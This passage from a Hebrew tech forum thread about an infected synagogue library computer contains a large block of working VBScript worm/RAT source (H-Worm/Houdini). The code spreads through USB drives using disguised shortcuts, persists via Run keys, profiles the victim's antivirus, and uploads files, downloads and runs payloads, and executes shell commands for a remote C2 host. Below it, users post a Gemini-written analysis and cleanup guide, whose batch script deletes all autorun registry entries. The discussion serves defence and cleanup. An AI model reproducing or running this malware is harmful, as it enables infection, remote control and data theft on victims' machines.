                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                          end if
                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                              if not lnkfile then exit for
                              if  instr (file.name,".") then
                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                      file.attributes = 2+4
                                      if  ucase (file.name) <> ucase (installname) then
                                          filename = split(file.name,".")
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                          if  instr (fileicon,",") = 0 then
                                              lnkobj.iconlocation = file.path
                                          else 
                                              lnkobj.iconlocation = fileicon
                                          end if
                                          lnkobj.save()
                                      end if
                                  end if
                              end if
                          next
                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                              if not lnkfolder then exit for
                              folder.attributes = 2+4
                              foldername = folder.name
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                              if  instr (foldericon,",") = 0 then
                                  lnkobj.iconlocation = folder.path
                              else 
                                  lnkobj.iconlocation = foldericon
                              end if
                              lnkobj.save()
                          next
                      end If
                      end If
                      end if
                      next
                      err.clear
                      end sub
                      
                      sub uninstall
                      on error resume next
                      dim filename
                      dim foldername
                      
                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      filesystemobj.deletefile startup & installname ,true
                      filesystemobj.deletefile wscript.scriptfullname ,true
                      
                      for  each drive in filesystemobj.drives
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                               on error resume next
                               if  instr (file.name,".") then
                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                       file.attributes = 0
                                       if  ucase (file.name) <> ucase (installname) then
                                           filename = split(file.name,".")
                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                       else
                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                       end If
                                   else
                                       filesystemobj.deletefile (file.path) 
                                   end if
                               end if
                           next
                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                               folder.attributes = 0
                           next
                      end if
                      end if
                      end if
                      next
                      wscript.quit
                      end sub
                      
                      function post (cmd ,param)
                      
                      post = param
                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                      httpobj.setrequestheader "user-agent:",information
                      httpobj.send param
                      post = httpobj.responsetext
                      end function
                      
                      function information
                      on error resume next
                      if  inf = "" then
                          inf = hwid & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                      
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set os = root.execquery ("select * from win32_operatingsystem")
                          for each osinfo in os
                             inf = inf & osinfo.caption & spliter  
                             exit for
                          next
                          inf = inf & "plus" & spliter
                          inf = inf & security & spliter
                          inf = inf & usbspreading
                          information = inf  
                      else
                          information = inf
                      end if
                      end function
                      
                      sub upstart ()
                      on error resume Next
                      
                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                      
                      end sub
                      
                      function hwid
                      on error resume next
                      
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set disks = root.execquery ("select * from win32_logicaldisk")
                      for each disk in disks
                          if  disk.volumeserialnumber <> "" then
                              hwid = disk.volumeserialnumber
                              exit for
                          end if
                      next
                      end function
                      
                      function security 
                      on error resume next
                      
                      security = ""
                      
                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                      for each objitem in colitems
                          versionstr = split (objitem.version,".")
                      next
                      versionstr = split (colitems.version,".")
                      osversion = versionstr (0) & "."
                      for  x = 1 to ubound (versionstr)
                           osversion = osversion &  versionstr (i)
                      next
                      osversion = eval (osversion)
                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                      
                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                      
                      for each objantivirus in colantivirus
                          security  = security  & objantivirus.displayname & " ."
                      next
                      if security  = "" then security  = "nan-av"
                      end function
                      
                      function instance
                      on error resume next
                      
                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                      if usbspreading = "" then
                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                            usbspreading = "true - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                         else
                            usbspreading = "false - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                      
                         end if
                      end If
                      
                      
                      upstart
                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                          wscript.quit 
                      end If
                      err.clear
                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                      if  err.number > 0 then wscript.quit
                      end function
                      
                      sub sitedownloader (fileurl,filename)
                      
                      strlink = fileurl
                      strsaveto = installdir & filename
                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                      objhttpdownload.open "get", strlink, false
                      objhttpdownload.send
                      
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                       
                      if objhttpdownload.status = 200 then
                         dim  objstreamdownload
                         set  objstreamdownload = createobject("adodb.stream")
                         with objstreamdownload
                              .type = 1 
                              .open
                              .write objhttpdownload.responsebody
                              .savetofile strsaveto
                              .close
                         end with
                         set objstreamdownload = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      sub download (fileurl,filedir)
                      
                      if filedir = "" then 
                         filedir = installdir
                      end if
                      
                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                      set objhttpdownload = createobject("msxml2.xmlhttp")
                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                      objhttpdownload.send ""
                           
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                      if  objhttpdownload.status = 200 then
                          dim  objstreamdownload
                          set  objstreamdownload = createobject("adodb.stream")
                          with objstreamdownload 
                               .type = 1 
                               .open
                               .write objhttpdownload.responsebody
                               .savetofile strsaveto
                               .close
                          end with
                          set objstreamdownload  = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      function upload (fileurl)
                      
                      dim  httpobj,objstreamuploade,buffer
                      set  objstreamuploade = createobject("adodb.stream")
                      with objstreamuploade 
                           .type = 1 
                           .open
                           .loadfromfile fileurl
                           buffer = .read
                           .close
                      end with
                      set objstreamdownload = nothing
                      set httpobj = createobject("msxml2.xmlhttp")
                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                      httpobj.send buffer
                      end function
                      
                      function enumdriver ()
                      
                      for  each drive in filesystemobj.drives
                      if   drive.isready = true then
                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                      end if
                      next
                      end Function
                      
                      function enumfaf (enumdir)
                      
                      enumfaf = enumdir & spliter
                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                      next
                      
                      for  each file in filesystemobj.getfolder (enumdir).files
                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                      
                      next
                      end function
                      
                      function enumprocess ()
                      
                      on error resume next
                      
                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                      
                      dim objitem
                      for each objitem in colitems
                          enumprocess = enumprocess & objitem.name & "|"
                          enumprocess = enumprocess & objitem.processid & "|"
                          enumprocess = enumprocess & objitem.executablepath & spliter
                      next
                      end function
                      
                      sub exitprocess (pid)
                      on error resume next
                      
                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                      end sub
                      
                      sub deletefaf (url)
                      on error resume next
                      
                      filesystemobj.deletefile url
                      filesystemobj.deletefolder url
                      
                      end sub
                      
                      function cmdshell (cmd)
                      
                      dim httpobj,oexec,readallfromany
                      
                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                      if not oexec.stdout.atendofstream then
                         readallfromany = oexec.stdout.readall
                      elseif not oexec.stderr.atendofstream then
                         readallfromany = oexec.stderr.readall
                      else 
                         readallfromany = ""
                      end if
                      
                      cmdshell = readallfromany
                      end function
                      
                      א מנותק
                      א מנותק
                      אור אור אור
                      כתב נערך לאחרונה על ידי אור אור אור
                      #25

                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                      אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                      הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                      זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                      1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                        בראש הקוד מופיעים המשתנים host ו-port:

                      Host: khattab.no-ipbiz

                      Port: 5550
                      הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                      1. איסוף מידע (Reconnaissance)
                        הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                      שם המחשב ושם המשתמש.

                      מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                      גרסת מערכת ההפעלה.

                      בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                      1. מנגנון הפצה (USB Spreading)
                        אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                      הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                      הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                      ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                      1. יכולות שליטה מרחוק
                        הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                      execute: הרצת קוד VBScript ישירות בזיכרון.

                      send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                      enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                      cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                      update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                      1. הישרדות במערכת (Persistence)
                        הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                      [!CAUTION]
                      שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                      cfopuserC תגובה 1 תגובה אחרונה
                      0
                      • א מנותק
                        א מנותק
                        אור אור אור
                        כתב נערך לאחרונה על ידי אור אור אור
                        #26

                        וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                        צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                        הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                        הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                        1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                          הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                        תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                        תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                        רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                        בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                        1. שלבי הניקוי (בצע לפי הסדר)
                          כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                        א. עצירת התהליך
                        לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                        חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                        לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                        ב. מחיקה מהרישום (Registry)
                        לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                        נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                        חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                        בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                        ג. מחיקת הקבצים הפיזיים
                        פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                        הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                        1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                          אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                        חבר את הכונן הנגוע.

                        פתח את "שורת הפקודה" (CMD) כמנהל.

                        הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                        הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                        attrib -h -r -s /s /d .

                        כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                        עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                        כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                        האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                        כן

                        כן

                        ‫Gemini אמר
                        הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                        הוראות ביצוע:
                        העתק את הקוד למטה.

                        פתח את "פנקס רשימות" (Notepad).

                        הדבק את הקוד בתוכו.

                        שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                        לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                        הקוד לניקוי המחשב:
                        קטע קוד
                        @echo off
                        color 0A
                        echo Stopping Virus Process...
                        taskkill /F /IM wscript.exe /T

                        echo.
                        echo Deleting Virus Files...
                        del /F /Q "%temp%*.vbs"
                        del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                        echo.
                        echo Cleaning Registry Keys...
                        reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                        echo.
                        echo Restoration Complete.
                        echo Please check your USB drives separately using the 'attrib' command.
                        pause
                        מה הקוד הזה עושה בפועל?
                        taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                        del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                        reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                        [!CAUTION]
                        שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                        טיפול בכונני ה-USB (הדיסק-און-קי):
                        אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                        attrib -h -r -s /s /d X:*.*
                        (החלף את האות X באות של הכונן שלך).

                        זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                        האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                        אמרת
                        כן

                        ‫Gemini אמר
                        כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                        הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                        בחר ב-"פנקס רשימות" (Notepad).

                        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                        לחץ על אישור.

                        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                        אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                        זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                        לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                        נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                        בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                        קרא לערך החדש בשם: Enabled.

                        וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                        סגור את הרישום והפעל מחדש את המחשב.

                        התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                        טיפ קטן לגבאי / אחראי המחשב:
                        מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                        [!NOTE]
                        אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                        ה תגובה 1 תגובה אחרונה
                        -1
                        • א אור אור אור

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                          אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                          הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                          זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                          1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                            בראש הקוד מופיעים המשתנים host ו-port:

                          Host: khattab.no-ipbiz

                          Port: 5550
                          הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                          1. איסוף מידע (Reconnaissance)
                            הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                          שם המחשב ושם המשתמש.

                          מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                          גרסת מערכת ההפעלה.

                          בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                          1. מנגנון הפצה (USB Spreading)
                            אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                          הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                          הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                          ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                          1. יכולות שליטה מרחוק
                            הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                          execute: הרצת קוד VBScript ישירות בזיכרון.

                          send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                          enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                          cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                          update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                          1. הישרדות במערכת (Persistence)
                            הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                          [!CAUTION]
                          שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                          cfopuserC מנותק
                          cfopuserC מנותק
                          cfopuser
                          כתב נערך לאחרונה על ידי cfopuser
                          #27

                          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          אני מקווה שזה בסדר.

                          זה לא,
                          מהסיבה הפשוטה שלכולם יש גישה לai,
                          אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                          בנוסף זה מנוגד לחוקי הפורום,

                          מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                          ה תגובה 1 תגובה אחרונה
                          3
                          • cfopuserC cfopuser

                            @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            אני מקווה שזה בסדר.

                            זה לא,
                            מהסיבה הפשוטה שלכולם יש גישה לai,
                            אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                            בנוסף זה מנוגד לחוקי הפורום,

                            מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                            ה מנותק
                            ה מנותק
                            הישבשר המלומד
                            כתב נערך לאחרונה על ידי
                            #28
                            פוסט זה נמחק!
                            תגובה 1 תגובה אחרונה
                            0
                            • א מנותק
                              א מנותק
                              אור אור אור
                              כתב נערך לאחרונה על ידי
                              #29

                              חבל מאד שאין לי אפשרות לצ'אט עמו.
                              אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
                              אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
                              אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
                              ובאמת כל אחד כמעט יכול לבדוק בעצמו...

                              תגובה 1 תגובה אחרונה
                              1
                              • A מנותק
                                A מנותק
                                AMDesign
                                כתב נערך לאחרונה על ידי
                                #30

                                @רנדומלי
                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                ת כ 2 תגובות תגובה אחרונה
                                1
                                • A AMDesign

                                  @רנדומלי
                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                  ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                  ת מנותק
                                  ת מנותק
                                  תלמידהון
                                  כתב נערך לאחרונה על ידי תלמידהון
                                  #31

                                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                                  לפי איזה פרמטר הוא יותר חזק?
                                  דיפנדר טוב מאוד וחינמי

                                  A תגובה 1 תגובה אחרונה
                                  0
                                  • ת תלמידהון

                                    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

